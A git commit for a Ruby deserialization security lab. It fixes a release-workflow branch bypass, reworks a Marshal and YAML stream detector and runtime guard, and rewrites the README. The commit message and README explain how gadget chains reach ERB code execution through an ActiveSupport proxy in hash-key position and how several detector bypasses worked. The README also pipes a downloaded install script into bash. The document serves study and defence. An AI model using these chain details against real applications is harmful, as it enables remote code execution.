feat(marshalsea): close both audits, then build the three halves the contract promised

Two independent audits of the same tree, one executed and one static. Both were
worth running: the static pass found seven real defects the executed pass missed,
including the worst one here, and the executed pass found three the static pass
could not see because seeing them required running Ruby.

The release workflow could publish from any branch. The publish job carried no ref
condition and its tag check read `[ tag != expected ] && [ event = push ]`, so on a
workflow_dispatch the second clause was false, the && never fired, and control fell
straight through to rubygems/release-gem. Anyone with the Actions tab could ship a
mutable branch checkout to rubygems.org. The job is now gated on a pushed
refs/tags/marshalsea-v* ref, the version check is unconditional, and the manifest is
audited before the push step with a negative control proving a drifted lib file
turns it red.

Three payloads ran attacker code while the detector reported proceed. A
String-subclass hash key reaching a user #eql?, measured {eql: 1}; a gadget nested
in a bare Array key, measured {hash: 1}, 22 bytes hand-built; and a Range whose
endpoints dispatch #<=>, measured {cmp: 1}. All three were accepted under
deny_sinks_only and under strict with the class allowlisted, which is the documented
normal usage. They are blocked under every policy now.

The oracle that missed them dumped `{ key => nil }`. One key means no bucket
collision, so #eql? could never fire in the probe no matter how many key shapes were
added. Blind by construction, the exact defect class this project already had a rule
about. The corpus went further and asserted the String-subclass case was a precision
control, a positive claim that rejecting it would be a false positive. It is a
reject now, and the key rules are re-derived from research 02 section 4.2 rather than
grown case by case.

Range endpoints marshal as bare `begin`/`end`, not `@begin`/`@end`, because Range
uses a marshal compat dumper. The first constant was wrong and the test caught it.

The scanner's reachability filter contradicted its own thesis. Requiring zero arity
for ungated entry points excluded eql?, ==, <=>, []=, method_missing and
respond_to_missing? entirely: 85 candidates across those rows, 0 reachable. Only
hash and to_s survived, and research 02 section 4.2 verified to_s is never an entry
point, so 11 of 18 reachable results were a method Marshal.load does not invoke.
Entry points are now a table carrying gate, format and the arity the deserializer
supplies; links are a third gate value and are reported separately instead of
scored as entry points. Gated hooks are arity-checked too, so an arity-0
marshal_load that would raise ArgumentError is no longer called reachable.

Marshal.load reaches a private self._load through rb_funcallv, which ignores
visibility, while singleton_methods(false) does not report it. Adding
singleton_class.private_instance_methods immediately found Time._load on a stock
image, a real stdlib sink the scanner had never seen. Prism is error tolerant and
parse_definitions consumed .value without checking failure?, so a tree recovered
from four syntax errors produced a confident touches_state verdict; it is a
suppression now.

The parser accepted ivar-name and struct-member-name slots holding a fixnum, a
string or an array, the detector said proceed, and CRuby then raised
ArgumentError, so the defended route answered 500. The parser stays forensic on
purpose, because a sink hidden where a symbol belongs must stay visible, so the
anomaly is labelled on Result and the detector rejects on it. The target also
rescues the loader rather than trusting inspection.

Three things the contract promised and did not have.

The headline payload was not a chain. It built an ERB object past the @_init guard
and then both demonstrations called def_method themselves, so the canary was not a
consequence of Marshal.load. Research 04 line 292 and 05 line 982 already said the
real chain reaches def_module through
ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy, and 05 line 1143 listed
reproducing it as open. erb-def-module does that: the proxy sits in hash-key
position, ungated #hash dispatch lands in method_missing, target calls
@instance.__send__(:def_module), and ERB compiles the payload inside Marshal.load
with no application call. The old builder stays as erb-def-method and is labelled a
primitive. Three things only execution showed: the proxy undefines
instance_variable_set so setup has to go through a bound Object method; a real
deprecator holds a Proc and cannot be dumped, so the chain hand-builds one with
@silenced true and warn short-circuits before touching @behavior; and building
{proxy => 1} fires the payload in the builder's own process, so serialize splices a
key-position stream from a standalone dump and refuses any graph carrying an object
link, whose index would shift behind the hash node.

LoadGuard is the M6 runtime guard. A TracePoint on :call fires before a method body
runs, which is the veto a Marshal.load proc cannot give you. It watches the gated
hooks plus method_missing and respond_to_missing?, because a hook list without those
two is evaded by a respond_to_missing? proxy. hash and eql? are opt-in behind
strict:, since they are among the hottest methods in Ruby and BoundaryDetector
already catches key-position dispatch before any bytes load. It raises a
StandardError, never a SecurityError that would skip every rescue in the stack.

Its cost is not 1.4x. That figure is a property of the payload that was measured,
not of the guard. Enabling a TracePoint costs a near-constant ~46 microseconds per
load, so the ratio is decided by how much work the load does: 185.9x on 3 bytes,
40.4x on a 45-byte session cookie, 1.1x on 46 KB, 1.0x on 488 KB. The lab's own use
case is a session cookie, which is the worst case. A dated correction is written
back into research 03.

The Psych half exists now. Psych::Inspector reads a document through parse_stream,
revives nothing, and reports every !ruby/* tag with the method it would dispatch,
bounded on bytes, depth, nodes, aliases and documents. psych-init-with is the
matching chain. The target grows /yaml/unsafe and /yaml/safe so the spine of this
project is executable over HTTP: the same ERB object reaches code execution through
YAML.unsafe_load, and YAML.safe_load refuses it by checking the tag before revival.
The gate proves both layers independently, including a document the inspector
approves that Psych still refuses, so neither can alibi the other.

The target ran attacker Ruby on Docker's default bridge with outbound access and
installed sinatra, rackup and webrick unversioned. It now runs on an internal
network with cap-drop ALL, no-new-privileges, pid and memory ceilings and pinned
versions, with a control proving it cannot reach off the host. Creating that network
also proved --internal blocks the published port, so the gate drives the target from
a second container on the same network instead. The HTTP gate asserted body prefixes
and never captured status; it asserts exact status and body per endpoint now, which
immediately caught a bug in this very change where a nil sentinel conflated "the
loader refused" with the legitimate value nil.

Smaller: Chains.all filtered out a Base that was never registered, so the filter was
inert and its test vacuous; chains are discovered by directory glob now, per the
design's no-registry-to-rot contract. AFFECTED was shallow frozen, and mutating
metadata[:affected][2] flipped affects?("5.0.0") from true to false. Limits.permissive
keeps a depth cap on purpose and now says so, because lifting it trades a rescuable
DepthLimitError for an uncatchable SystemStackError. The README claimed a fixnum
width rejection its own test proves is unreachable. Regexp options were discarded
while the node still reported fully_decoded?.

The README is rebuilt to the repository's shape, and Deserialization Gadget Lab
takes project 41 in the root table, replacing Ghost on the Wire. CHANGELOG.md is
dropped from the gem manifest, the metadata and the packaging gate.

Full gate: 78 PASS, 0 FAIL across six stages, up from 58. 267 tests across seven
suites, from 194. Lint 0 across 37 files. Every rule added here ships with the
mutant that kills it.
This commit is contained in:
CarterPerez-dev 2026-07-30 23:04:38 -04:00
parent 9e616ad1a4
commit f0ce950ac8
39 changed files with 2581 additions and 511 deletions

View File

@ -63,6 +63,7 @@ jobs:
release:
name: Push marshalsea to RubyGems
needs: test
if: github.event_name == 'push' && startsWith(github.ref, 'refs/tags/marshalsea-v')
runs-on: ubuntu-latest
environment:
name: rubygems
@ -87,11 +88,28 @@ jobs:
version=$(ruby -e 'require "./lib/marshalsea/version"; print Marshalsea::VERSION')
expected="marshalsea-v${version}"
echo "tag=${GITHUB_REF_NAME} gemspec=${expected}"
if [ "${GITHUB_REF_NAME}" != "${expected}" ] && [ "${GITHUB_EVENT_NAME}" = "push" ]; then
if [ "${GITHUB_REF_NAME}" != "${expected}" ]; then
echo "::error::tag ${GITHUB_REF_NAME} does not match ${expected}"
exit 1
fi
- name: Audit what the manifest would ship
working-directory: PROJECTS/beginner/deserialization-gadget-lab
run: |
version=$(ruby -e 'require "./lib/marshalsea/version"; print Marshalsea::VERSION')
rm -rf tmp/release && mkdir -p tmp/release
ruby -e 'puts Gem::Specification.load("marshalsea.gemspec").files' >tmp/release/declared.txt
tar -T tmp/release/declared.txt -cf - | tar -C tmp/release -xf -
cp marshalsea.gemspec tmp/release/
( cd tmp/release && gem build --strict marshalsea.gemspec )
ruby scripts/audit_gem.rb \
"tmp/release/marshalsea-${version}.gem" . ">= 3.4" tmp/release/extract |
tee tmp/release/audit.txt
if grep -q '=false$' tmp/release/audit.txt; then
echo "::error::the declared manifest would ship a gem that fails its own audit"
exit 1
fi
- name: Release to RubyGems with trusted publishing and attestation
uses: rubygems/release-gem@v1
with:

View File

@ -1,12 +1,9 @@
# ©AngelaMos | 2026
# .gitignore
# Dev-only docs (research / plans / context / handoffs) never ship to the public repo
# Dev-only docs
docs/
# Agent briefing, local only
AGENTS.md
# Ruby build + dependency artifacts
*.gem
/pkg/

View File

@ -1,138 +0,0 @@
# Changelog
All notable changes to marshalsea are documented here.
The format follows [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [Unreleased]
### Added
- Marshal stream parser that extracts structure, class names, and gadget sinks
from a serialized payload without ever calling `Marshal.load`
- Sink classification along the gated/ungated dispatch axis: `marshal_load` and
`_load` are reached through a `respond_to?` check, while `hash`, `eql?`, `<=>`
and `[]=` are dispatched blind
- Stream validation rejecting truncated payloads, unsupported version bytes,
unknown type tags, out-of-bounds object links and symlinks, oversized fixnum
widths, trailing bytes, and nesting beyond a configurable depth limit
- Reflection-based gadget scanner that walks `ObjectSpace` for auto-invoked
methods and reports whether a Prism-backed reachability filter considers each
one reachable from a deserialized object
- Version-compatibility matrix probing six pinned Ruby images, indexed by
RubyGems version rather than Ruby version because the gadget lives in RubyGems
- Version-scoped payload chains carrying their own affected ranges, with
CVE-2026-41316 (ERB `@_init`) as the reference chain
- Deliberately vulnerable Sinatra target with one endpoint that loads a session
cookie directly and one that inspects the stream first
- `BoundaryDetector` with three policies, a frozen snapshot on any decision that
is not blocked, and a written `LIMITATION_NOTICE` naming a bypass it cannot
catch
- `Decision` reports exactly one of three states — `proceed?`, `blocked?`,
`observed?` — validated in the constructor so they cannot overlap. `proceed?`
is the only predicate that should gate a `Marshal.load`; `observed?` is the
non-blocking observe-and-log outcome and a caller opts into it by name. There
is no `accepted?`, because one predicate cannot answer both "did the policy
permit this" and "is this stream free of violations"
- Scanner error accounting: every swallowed rescue is recorded with its site,
subject and error class, and `Report` exposes `suppressed_count`,
`suppressions_by_site`, `complete?` and `candidates_lost?`
- Release workflow publishing to RubyGems by trusted publishing, so no long-lived API
key exists in repository secrets to leak. It fires on a `marshalsea-v*` tag, runs the
suites and the standalone controls on both Ruby 3.4 and 4.0 first, refuses to publish
if the tag disagrees with `Marshalsea::VERSION` or if the gemspec floor no longer
matches the tested matrix, and emits a Sigstore attestation. The attestation is a
publicly auditable record of which workflow built the artifact; it is **not** an
install-time protection, because neither `gem install` nor `bundle install` verifies
one today
- Packaging gate that builds the gem from its declared manifest alone, audits
what shipped, installs the artifact on the floor and current images, and
exercises it from the installed copy rather than the worktree. It asserts every
shipped `lib` file is byte-identical to source, which catches an artifact built
from stale code even though such a gem installs and requires without error. It
can be pointed at a `.gem` you already have, and it carries three negative
controls: a gem that ships the vulnerable target must be rejected, a gem with a
drifted `lib` file must be rejected, and RubyGems must refuse to install below
the declared floor
- Four-state reachability analysis. A method is analysed (touches state or does
not), `unreadable_source?` (a path was given and could not be parsed, so it
fails open and stays reachable), or `unanalysable?` (no Ruby source exists at
all, so it is reported rather than guessed at). `Report#unanalysable` and
`#fully_analysed?` state the filter's real coverage instead of implying it saw
everything
- Reject reasons escape and bound every attacker-controlled class name before it
reaches a caller-supplied reporter, so a name carrying CR, LF, ESC or NUL can
no longer forge log lines
- Float bodies decode to the same value `Marshal.load` produces, including
`inf`, `-inf` and `nan`, hex literals, and the prefix-and-stop behaviour that
makes `"1_0"` parse as 1.0 and `"abc"` as 0.0. A body carrying Ruby's legacy
binary mantissa is reported through `Node#undecoded_tail` rather than guessed
at, so `fully_decoded?` is false instead of a plausible wrong number
- The parse graph is sealed before it is returned. Every node, its collections
and its scalar values are frozen, so a caller cannot rewrite a verdict field
or splice a node into a graph the parser already reported on
### Fixed
- `read_float` returned `nil` for seven classes of body that `Marshal.load`
accepts, including the `inf`/`-inf`/`nan` forms Ruby emits today
- Bounds checks on symlink and object-link indices relied on negative-index
wraparound being caught by a second clause; they now say what they mean
- `Constants::GATED_SINK_TAGS` omitted `TAG_DATA` while `Scanner::GATED_METHODS`
listed `_load_data`, so the two halves disagreed about which sinks are gated.
`Marshal.load` does check `respond_to?(:_load_data)` before dispatching, which
a hand-built `d` stream naming a real C-level `T_DATA` demonstrates directly
- The defended target endpoint returned HTTP 500 with a source snippet for any
root the detector accepted that was not a session hash
- Detection of objects placed in **hash key** position, where `#hash` and `#eql?`
are dispatched during load before any allowlist can act. Scoped to keys whose
reconstructed value is not a `T_STRING`, matching what `Marshal.load` actually
dispatches
### Changed
- `Parser.new` now enforces `Limits.new` by default instead of resolving to an
unbounded configuration. Pass `limits: Limits.permissive` for forensic parsing
of a stream you already trust
- `Limits.permissive` is a class method; it was an instance method that ignored
its receiver and allocated twice
- **Renamed from `rube` to `marshalsea`.** `rube` has been taken on rubygems.org since
2009-08-05, so the original name could never have been published. The module is
`Marshalsea`, the library path is `lib/marshalsea/`, and `require "rube"` becomes
`require "marshalsea"`. The Marshalsea was a London debtors' prison; the name is the
job description, since the tool holds untrusted objects at the gate and decides what
gets through
- `Rakefile` gained `bundler/gem_tasks` and, with it, the `release` task the publishing
action invokes. It sets `Bundler::GemHelper.tag_prefix = "marshalsea-"`, because the
default produces a bare `v0.1.0` tag and this gem lives in a repository shared by
sixty projects. Note that `rake -T` still *prints* `Create tag v0.1.0`: that
description string is built when `bundler/gem_tasks` is required, before the prefix is
assigned. The tag actually created is `marshalsea-v0.1.0`, and `just package` asserts
the real value rather than the printed one
- `required_ruby_version` raised from `>= 3.3` to `>= 3.4`. The old floor was
never tested: every gate stage ran on Ruby 4.0 images only. Ruby 3.3 turns out
to fail the suite, because `Marshal.load` did not validate the bignum sign byte
until 3.4 and the parser is written against the version that does. 3.4 is the
oldest release on which the whole suite is green, so it is the floor.
`TargetRubyVersion` moves with it, as those two must stay equal
- `just build` writes to `tmp/build` as the invoking user instead of dropping a
root-owned `.gem` in the repository root, and stages only the files the gemspec
declares, so a manifest that omits a file can no longer produce a gem that
builds anyway
### Fixed
- `TAG_IVAR` did not increment depth, so an `I`-chain of any length parsed under
any ceiling and a 13 KB payload exhausted the Ruby stack with a
`SystemStackError` that no `rescue StreamError` could catch
- `read_userdef` hard-coded a depth of 1 for its class-name slot, handing that
subtree a fresh depth budget mid-stream
- Bignum magnitude bytes bypassed the scalar budget entirely, so 400,000 of them
were accepted where a 400,000-byte string was rejected
- Bignum sign byte was treated as negative-or-positive with no validation, so any
byte other than `-` read as positive where `Marshal.load` raises `ArgumentError`
- Symbol references, symbol name bytes, class name bytes, instance variable
counts, and struct member counts were charged to no budget or to an overly
generous shared one

View File

@ -1,98 +1,85 @@
# marshalsea
<!-- ©AngelaMos | 2026 -->
<!-- README.md -->
A Ruby object-deserialization security lab.
A gadget chain is a Rube Goldberg machine. One untrusted blob goes in, a dozen
unrelated standard-library methods knock each other over, and code execution falls out
the far end. This project builds the machine, then builds the thing that stops it.
The Marshalsea was a London debtors' prison, in operation from 1373 to 1842. The name is
the job: hold untrusted objects at the gate and decide what gets through, before
`Marshal.load` turns bytes into behaviour.
## Why this exists
`Marshal.load` on untrusted input is arbitrary code execution. So is `YAML.unsafe_load`,
`JSON.load` with additions enabled, and `Oj.load` in its default mode. This is not a Ruby
quirk. It is the same class of bug as Java deserialization, PHP POP chains, and Python
pickle, and it sits at CWE-502 in the CISA Known Exploited Vulnerabilities catalog with a
**34.8% known-ransomware rate against a 20.1% baseline** across the catalog as a whole.
Most write-ups on this topic teach the exploit. Fewer teach why the obvious defense does
not work. This one does both, because the second half is where the actual lesson lives:
**You cannot make `Marshal.load` safe with an allowlist.** The `proc` you pass runs in
`r_post_proc`, which `marshal.c` invokes *after* `load_funcall(... s_mload ...)`. By the
time your allowlist sees the object, `marshal_load` has already run. The pattern widely
copied off Stack Overflow is a post-mortem, not a veto.
**Psych's allowlist genuinely is a veto** — for exactly one reason. It checks the tag
*before* revival, where Marshal checks the object *after* construction. Identical intent,
opposite outcome, decided entirely by where the check sits.
## Status
All six pieces are built and tested.
- **Marshal stream parser** — parses the binary format, extracts referenced class names
and gadget sinks, and validates structure, all without ever calling `Marshal.load`.
Rejects truncated streams, unsupported versions, unknown tags, out-of-bounds object
links and symlinks, oversized fixnum widths, trailing bytes, and excessive nesting.
- **Version-compatibility matrix** — probes six pinned Ruby images and reports where the
published git gadget and the ERB `@_init` guard actually change.
- **Reflection-based gadget scanner** — walks `ObjectSpace` for auto-invoked methods and
classifies them by whether `Marshal.load` can reach them. It counts every error it
swallows, names the site, and treats a method it could not analyse as reachable rather
than inert, so under-reporting is visible instead of silent.
- **Payload builder** — version-scoped chains carrying their own affected ranges.
- **Vulnerable containerized target** — a Sinatra app with one endpoint that loads a
session cookie and one that inspects it first.
- **Boundary detector** — the defensive layer, with an explicit written statement of what
it cannot do.
## Requirements
Ruby **3.4 or newer**. That floor is measured, not picked for tidiness.
Ruby changed `Marshal.load` between 3.3 and 3.4. Through 3.3, any byte in a bignum's sign
position is accepted and anything that is not `-` is read as positive. From 3.4 onward the
same stream raises `ArgumentError: invalid Bignum sign`:
| sign byte | 3.2.11 | 3.3.12 | 3.4.10 | 4.0.6 |
|---|---|---|---|---|
| `+` and `-` | accept | accept | accept | accept |
| `!`, `\x00`, `\xFF`, `0` | accept | accept | **reject** | **reject** |
marshalsea's parser accepts `+` and `-` only, so it models 3.4 and newer. Run it on 3.3 and it
disagrees with the interpreter it exists to model on four of those six bytes. A stream
inspector that disagrees with the loader it guards is not worth shipping, so the floor sits
where the agreement starts. `just package` re-proves this in both directions on every run:
on the floor image Ruby and the parser agree, one version below it they diverge.
## Installation
The first release has not been cut yet, so there is nothing on rubygems.org to install from.
Build it from this checkout:
```
just build
gem install --local tmp/build/marshalsea-0.1.0.gem
```json
███╗ ███╗ █████╗ ██████╗ ███████╗██╗ ██╗ █████╗ ██╗ ███████╗███████╗ █████╗
████╗ ████║██╔══██╗██╔══██╗██╔════╝██║ ██║██╔══██╗██║ ██╔════╝██╔════╝██╔══██╗
██╔████╔██║███████║██████╔╝███████╗███████║███████║██║ ███████╗█████╗ ███████║
██║╚██╔╝██║██╔══██║██╔══██╗╚════██║██╔══██║██╔══██║██║ ╚════██║██╔══╝ ██╔══██║
██║ ╚═╝ ██║██║ ██║██║ ██║███████║██║ ██║██║ ██║███████╗███████║███████╗██║ ██║
╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝
```
Releases are published from CI by trusted publishing, so no long-lived API key exists to
leak. `gem install marshalsea` starts working once the first tag ships.
[![Cybersecurity Projects](https://img.shields.io/badge/Cybersecurity--Projects-Project%20%2341-red?style=flat&logo=github)](https://github.com/CarterPerez-dev/Cybersecurity-Projects/tree/main/PROJECTS/beginner/deserialization-gadget-lab)
[![Ruby](https://img.shields.io/badge/Ruby-4.0-CC342D?style=flat&logo=ruby&logoColor=white)](https://www.ruby-lang.org)
[![Gem](https://img.shields.io/badge/gem-marshalsea-E9573F?style=flat&logo=rubygems&logoColor=white)](https://rubygems.org/gems/marshalsea)
[![Formats](https://img.shields.io/badge/formats-Marshal%20%2B%20YAML-6D4AFF?style=flat)](#the-two-allowlists)
[![CVE](https://img.shields.io/badge/CVE--2026--41316-CVSS%208.1-4457E8?style=flat)](https://www.ruby-lang.org/en/news/2026/04/21/erb-cve-2026-41316/)
[![Tests](https://img.shields.io/badge/tests-267-8B5CF6?style=flat)](#build-and-test)
[![License: AGPLv3](https://img.shields.io/badge/License-AGPL_v3-purple.svg)](https://www.gnu.org/licenses/agpl-3.0)
The gem carries `lib/`, the README, the changelog, and the license. Nothing else. The
vulnerable target, the adversarial corpus, the gate scripts, and the research notes stay in
the repository, and `just package` fails if any of them turn up inside a built artifact.
> A Ruby object-deserialization security lab. It reads `Marshal` and YAML bytes without ever reviving them, tells you which classes are in there and which methods those bytes would fire, hunts your loaded code for the classes that make usable gadgets, builds a working payload for a real 2026 CVE, and then stands up a deliberately vulnerable Sinatra target so you can watch the exploit land over HTTP and watch the defense stop it. It ships as a gem plus a container, and every defense in it comes with a written statement of what it cannot do.
## Usage
## Why deserialization is its own bug class
Serializing an object freezes it into bytes. Deserializing thaws it back. The trap is that thawing is not a passive copy: rebuilding an object calls methods on it, and if an attacker chooses the bytes then the attacker chooses which methods run. String enough unrelated standard-library methods together and code execution falls out the far end. A gadget chain is a Rube Goldberg machine, and nowhere in those bytes is there an instruction that says "run a command."
This is not a Ruby quirk. It is the same shape as Java deserialization, PHP POP chains, and Python pickle. CWE-502 is the seventh most common weakness in the CISA Known Exploited Vulnerabilities catalog, at 69 of 1,653 entries, and **34.8% of those carry known ransomware use against a 20.1% baseline** for the catalog as a whole. Ruby itself has shipped two advisories in this class recently: CVE-2024-27281 in RDoc and CVE-2026-41316 in ERB, the one this lab reproduces.
It is also the bug class the industry most consistently gets wrong in retellings. Equifax is cited as an insecure-deserialization breach in an enormous number of write-ups. It was OGNL injection, CWE-755. The Apache Software Foundation published that correction on 2017-09-14 and the correction lost. `learn/01-CONCEPTS.md` opens with that debunk on purpose, because a repository that teaches this class should be able to show its work.
## What it is
Not a stub. Every capability below is exercised by 267 tests across seven suites and a six-stage gate that runs real containers, with 78 assertions that must all pass.
**A reader that never loads (Marshal)**
- Parses the Marshal binary format without calling `Marshal.load`: version bytes, type tags, instance variables, object links, symbols, floats
- Extracts referenced class names and sink tags without instantiating anything at all
- Rejects truncated streams, unsupported versions, unknown tags, out-of-bounds object links and symlinks, trailing bytes, and excessive nesting, and bounds fourteen separate resource axes by default rather than on request
- Labels what it cannot decode instead of guessing: a legacy float mantissa becomes an `undecoded_tail`, and a role slot holding the wrong node type becomes a named anomaly rather than a silent pass
**A reader that never loads (YAML)**
- Reads a document through `Psych.parse_stream`, which builds an AST and revives nothing
- Reports every `!ruby/*` tag with the method that tag would dispatch: `init_with`, `[]=`, or `marshal_load`
- Counts aliases instead of expanding them, so an alias bomb costs nothing to inspect
**A boundary detector with three states and no comforting lies**
- One `state` per decision, `proceed` / `blocked` / `observed`, mutually exclusive by construction. There is no `accepted?`, because "did the policy permit this" and "is this stream clean" have different answers under monitoring mode and one predicate cannot answer both
- Rejects on sink tags, on hash keys whose `#hash` or `#eql?` would dispatch during load, on `Range` endpoints whose `#<=>` would dispatch, and on unapproved class names, each with a reason that is a true statement about that specific stream
- Bounds how much attacker-controlled text reaches your logs, and escapes control bytes so a class name cannot forge a log line
**A runtime guard that vetoes instead of reporting**
- A `TracePoint` on `:call` fires *before* a method body runs, which is exactly the veto point a `Marshal.load` allowlist proc denies you
- Refuses an unpermitted `marshal_load`, `_load`, `_load_data`, `method_missing`, or `respond_to_missing?` before the body executes, thread-scoped so one request does not tax the process
- Ships its own bypasses, including the one it deliberately leaves open by default
**A reflection scanner over the loaded class graph**
- Sorts auto-invoked methods into entry points a deserializer dispatches directly and links a gadget calls once a chain is already moving, because `to_s` is a link and never an entry point and conflating them is a false positive
- Each entry point carries the format that reaches it, the gate that guards it, and the argument count the deserializer supplies, so a `marshal_load` whose arity cannot accept the call is not reported as reachable
- Counts every error it swallows, names the site, and treats a method it could not analyse as reachable rather than inert, so under-reporting is visible instead of silent
**Payloads, labelled by what they actually are**
- `erb-def-module` is a **chain**: it reaches `ERB#def_module` through an `ActiveSupport` proxy in hash-key position, so it executes inside `Marshal.load` with no cooperation from the application
- `erb-def-method` is a **primitive**: it forges an ERB object past the `@_init` guard and stays inert until the application calls a `def_*` method on it
- The builder never runs its own payload. A key-position stream is spliced from a standalone dump instead of assembled by building the hash locally, and it refuses any object graph whose link indices would shift
**A vulnerable target you can attack over HTTP**
- Sinatra on Rack 3 in a container with no route off the host, read-only root, dropped capabilities, and pinned dependencies
- Four endpoints: load a Marshal cookie, inspect it first, then the same pair again over YAML
## Quick Start
```bash
gem install marshalsea
```
Look at a payload without running it:
```ruby
require "marshalsea"
payload = Marshal.dump(Gem::Requirement.new(">= 0"))
result = Marshalsea::Marshal::Parser.new(payload).parse
result = Marshalsea::Marshal::Parser.new(payload).parse
result.class_names
# => ["Gem::Requirement", "Gem::Version"]
@ -101,106 +88,133 @@ result.sinks.map { |s| "#{s.class_name}##{s.sink_method}" }
# => ["Gem::Requirement#marshal_load", "Gem::Version#marshal_load"]
```
`Parser.new` enforces `Marshalsea::Marshal::Limits.new` unless you say otherwise. Every ceiling
is opt-out, never opt-in — pass `limits: Marshalsea::Marshal::Limits.permissive` if you are doing
forensics on a stream you already trust and want it parsed whole.
To make a decision rather than inspect a stream, use the detector, which applies a policy
and hands back a frozen snapshot:
Make a decision instead of an observation:
```ruby
detector = Marshalsea::Marshal::BoundaryDetector.new(allowed_class_names: %w[Hash String])
decision = detector.inspect_stream(untrusted_bytes)
decision.blocked? # => true
decision.reason # => "stream reaches Gem::Requirement#marshal_load during load, ..."
```
decision.blocked? # => true
decision.reason # => "stream reaches Gem::Requirement#marshal_load during load, ..."
A decision is in exactly one of three states, and `proceed?` is the only one that gates a
load:
```ruby
Marshal.load(decision.snapshot) if decision.proceed?
```
`proceed?` means the policy found no violation. `blocked?` means it found one and refused.
`observed?` is the third state, and it exists because `POLICY_OBSERVE_AND_LOG` is
non-blocking by design: a violation was found, reported, and deliberately not enforced. Such
a decision still carries its snapshot, so a caller running in monitoring mode opts in by
naming that state out loud:
Nothing above instantiates a class, calls a constructor, or invokes `Marshal.load`. Read `Marshalsea::Marshal::BoundaryDetector::LIMITATION_NOTICE` before you rely on `proceed?`.
```ruby
Marshal.load(decision.snapshot) if decision.proceed? || decision.observed?
Then run the lab itself from a checkout:
```bash
just gate # everything: suites, matrix, exploit, detector, target, packaging
just target # stand up the vulnerable app and attack it over HTTP
just scan # run the gadget scanner over loaded modules
```
There is no `accepted?`. The question "did the policy permit this" and the question "is
this stream free of violations" have different answers under observe-and-log, and one
predicate cannot answer both.
> [!TIP]
> This project uses [`just`](https://github.com/casey/just) as a command runner. Type `just` to see every recipe.
>
> Install: `curl -sSf https://just.systems/install.sh | bash -s -- --to ~/.local/bin`
Read `Marshalsea::Marshal::BoundaryDetector::LIMITATION_NOTICE` before relying on `proceed?`.
A stream that proceeds is not a safe one, and the notice says so in detail.
## The two allowlists
Nothing above instantiates a class, calls a constructor, or invokes `Marshal.load`.
This is the spine of the project and the reason it exists. Everyone teaches "do not deserialize untrusted input." Almost nobody explains why the obvious fix fails.
## Development
Everything runs in Docker against a pinned Ruby.
The obvious fix is handing `Marshal.load` an allowlist proc. It does not work, and the reason is one line of `marshal.c`: the proc runs in `r_post_proc`, which is invoked *after* `load_funcall(... s_mload ...)`. Psych's allowlist genuinely is a veto, for exactly one reason: it checks the tag *before* revival.
```
just test run the minitest suites
just control run the negative controls
just check both
just corpus print every adversarial corpus case and its verdict
just scan run the gadget scanner over loaded modules
just matrix probe six pinned Ruby images and render the compatibility matrix
just exploit prove the chain fires on a vulnerable image and is blocked on a patched one
just target stand up the vulnerable app and attack it over HTTP
just detector prove the defensive layer rejects the payload the target executes
just package build the gem, audit what shipped, install it, prove the version floor
just gate everything above, in order
just build build the gem with --strict into tmp/build
just manifest list exactly what would ship in the .gem
Marshal bytes ──> build the object ──> RUN its hook ──> your allowlist runs
^^^^^^^^^^^^ too late, an autopsy
Psych bytes ──> CHECK the tag ──> refuse
^^^^^^^^^^^^^^ in time, a bouncer
```
`just package` also audits an artifact you already have, which is how you check that a gem
on disk still matches the source it claims to be built from:
Same intent, opposite outcome, decided entirely by where the check sits. The target exposes both so you can `curl` the difference: `/render` and `/yaml/unsafe` both reach code execution with the same ERB object, and `/yaml/safe` refuses it by tag while `/render/safe` can only inspect the bytes and hope.
## The two payloads
| Payload | Kind | Enters through | Fires when | Needs |
|---------|------|----------------|------------|-------|
| `erb-def-module` | **chain** | ungated `#hash` on a hash key | inside `Marshal.load`, no application call | activesupport loaded in the target |
| `erb-def-method` | **primitive** | the `@_init` guard bypass | only when the application calls `def_method` | nothing |
Both target CVE-2026-41316 (published 2026-04-23, CVSS 8.1, CWE-502 plus CWE-693). Ruby 2.7.0 added an `@_init` guard to stop `Marshal.load` code execution on ERB objects, and `def_method`, `def_module`, and `def_class` never checked it. Six years of a correct defense with three doors left open. The exploit gate proves both halves: the chain fires on erb 6.0.1 and is blocked on 6.0.1.1, one `docker pull` apart.
## Limits
Every defense here is a trade, and the code says so out loud rather than in a footnote.
- **A stream that passes inspection is not a safe stream.** `proceed?` means the bytes matched a policy. It does not mean the payload is harmless, and `LIMITATION_NOTICE` says exactly that. The published CVE chain produces **zero sink tags**, so sink detection alone never catches it; only class allowlisting does.
- **The runtime guard is defense in depth, not a boundary.** Its cost is not a multiplier. Enabling a `TracePoint` costs a near-constant ~46 microseconds per load, so it is 1.0x on a 488 KB document and **40x on a 45-byte session cookie**, and a cookie is what this lab deserializes. It also covers the load window only: a class carrying no hook at all is built freely and fires whenever the application next touches it.
- **The scanner sees only what is loaded.** `ObjectSpace` cannot report a class nobody has required yet. On a stock image it narrows 119 ungated candidates to 29 reachable, and 135 of its candidates are C-defined with no Ruby source at all, which it reports as `unanalysable` rather than scoring as inert.
- **The gem floor is `>= 3.4` and it was measured, not chosen.** `Marshal.load` did not validate the bignum sign byte until 3.4. The parser accepts `+` and `-` only, so it models 3.4 and newer; run it on 3.3 and it disagrees with the interpreter it exists to model. `just package` re-proves that in both directions on every run.
## Architecture
Two readers, one vocabulary. Nothing in the inspection path ever revives an object.
```
just package tmp/build/marshalsea-0.1.0.gem
Marshal bytes ──> Parser ──> Node graph ──┐
├──> BoundaryDetector ──> Decision
YAML document ──> Inspector ──> Document ─┘ (proceed / blocked / observed)
loaded classes ──> Scanner ──> entry points + links (offense: what is usable)
chain registry ──> generate ──> serialize (offense: build the payload)
Marshal.load ──> LoadGuard (TracePoint :call) (defense: veto before the body)
```
## Releasing
The parser is deliberately forensic: it keeps parsing a stream that CRuby would refuse, so a sink hidden in a slot where a symbol belongs stays visible in the report instead of vanishing behind a parse error. The detector is the strict half, and it rejects on the anomaly the parser recorded. That split is why a hostile stream can be both fully described and firmly refused.
Bump `Marshalsea::VERSION`, then push a tag:
## Build and Test
```
git tag marshalsea-v0.1.0
git push origin marshalsea-v0.1.0
```bash
just check # the seven suites plus the standalone controls
just gate # check + matrix + exploit + detector + target + package
just lint # rubocop, 37 files
just build # build the gem into tmp/build
```
